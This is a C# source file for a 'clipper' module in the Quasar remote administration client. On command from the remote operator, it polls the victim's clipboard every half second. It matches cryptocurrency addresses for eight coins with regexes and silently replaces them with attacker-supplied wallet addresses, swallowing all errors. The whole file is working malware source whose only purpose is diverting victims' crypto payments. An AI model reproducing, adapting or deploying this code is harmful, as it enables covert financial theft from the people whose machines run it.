using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Collections.Generic;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;

namespace Quasar.Client.Messages
{
    public class ClipperHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is DoStartClipper || message is DoStopClipper;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            try
            {
                switch (message)
                {
                    case DoStartClipper msg:
                        ClipperMonitor.StartClipper(msg.WalletAddresses);
                        break;
                    case DoStopClipper msg:
                        ClipperMonitor.StopClipper();
                        break;
                }
            }
            catch
            {
                // ignore
            }
        }
    }

    public static class ClipperMonitor
    {
        private static bool _clipperActive = false;
        private static Dictionary<string, string> _walletAddresses;
        private static Thread _clipperThread;
        private static string _lastClipboard = string.Empty;

        // Regex patterns for crypto addresses
        private static readonly Dictionary<string, Regex> CryptoPatterns = new Dictionary<string, Regex>
        {
            { "BTC", new Regex(@"\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}\b", RegexOptions.Compiled) },
            { "LTC", new Regex(@"\b[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}\b", RegexOptions.Compiled) },
            { "ETH", new Regex(@"\b0x[a-fA-F0-9]{40}\b", RegexOptions.Compiled) },
            { "XMR", new Regex(@"\b4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}\b", RegexOptions.Compiled) },
            { "SOL", new Regex(@"\b[1-9A-HJ-NP-Za-km-z]{32,44}\b", RegexOptions.Compiled) },
            { "XRP", new Regex(@"\br[a-zA-Z0-9]{24,34}\b", RegexOptions.Compiled) },
            { "TRX", new Regex(@"\bT[A-Za-z1-9]{33}\b", RegexOptions.Compiled) },
            { "BCH", new Regex(@"\b(bitcoincash:)?[qp][a-z0-9]{41}\b", RegexOptions.Compiled | RegexOptions.IgnoreCase) }
        };

        public static void StartClipper(Dictionary<string, string> walletAddresses)
        {
            _walletAddresses = walletAddresses;
            _clipperActive = true;

            if (_clipperThread == null || !_clipperThread.IsAlive)
            {
                _clipperThread = new Thread(ClipboardMonitor)
                {
                    IsBackground = true
                };
                _clipperThread.Start();
            }
        }

        public static void StopClipper()
        {
            _clipperActive = false;
            _lastClipboard = string.Empty;
        }

        private static void ClipboardMonitor()
        {
            while (_clipperActive)
            {
                try
                {
                    Thread.Sleep(500); // Check every 500ms

                    if (!_clipperActive || _walletAddresses == null)
                        continue;

                    string clipboardText = GetClipboardText();
                    
                    if (string.IsNullOrEmpty(clipboardText) || clipboardText == _lastClipboard)
                        continue;

                    _lastClipboard = clipboardText;

                    // Check for address 
                    foreach (var crypto in CryptoPatterns)
                    {
                        if (crypto.Value.IsMatch(clipboardText))
                        {
                            string cryptoType = crypto.Key;
                            
                            if (_walletAddresses.ContainsKey(cryptoType) && 
                                !string.IsNullOrEmpty(_walletAddresses[cryptoType]))
                            {
                                string replacementAddress = _walletAddresses[cryptoType];
                                
                                // Replace the address
                                SetClipboardText(replacementAddress);
                                _lastClipboard = replacementAddress;
                                break;
                            }
                        }
                    }
                }
                catch
                {
                }
            }
        }

        private static string GetClipboardText()
        {
            string result = string.Empty;
            Thread staThread = new Thread(() =>
            {
                try
                {
                    if (Clipboard.ContainsText())
                    {
                        result = Clipboard.GetText();
                    }
                }
                catch
                {
                    // Ignore
                }
            });
            staThread.SetApartmentState(ApartmentState.STA);
            staThread.Start();
            staThread.Join();
            return result;
        }

        private static void SetClipboardText(string text)
        {
            Thread staThread = new Thread(() =>
            {
                try
                {
                    Clipboard.SetText(text);
                }
                catch
                {
                    // Ignore
                }
            });
            staThread.SetApartmentState(ApartmentState.STA);
            staThread.Start();
            staThread.Join();
        }
    }
}
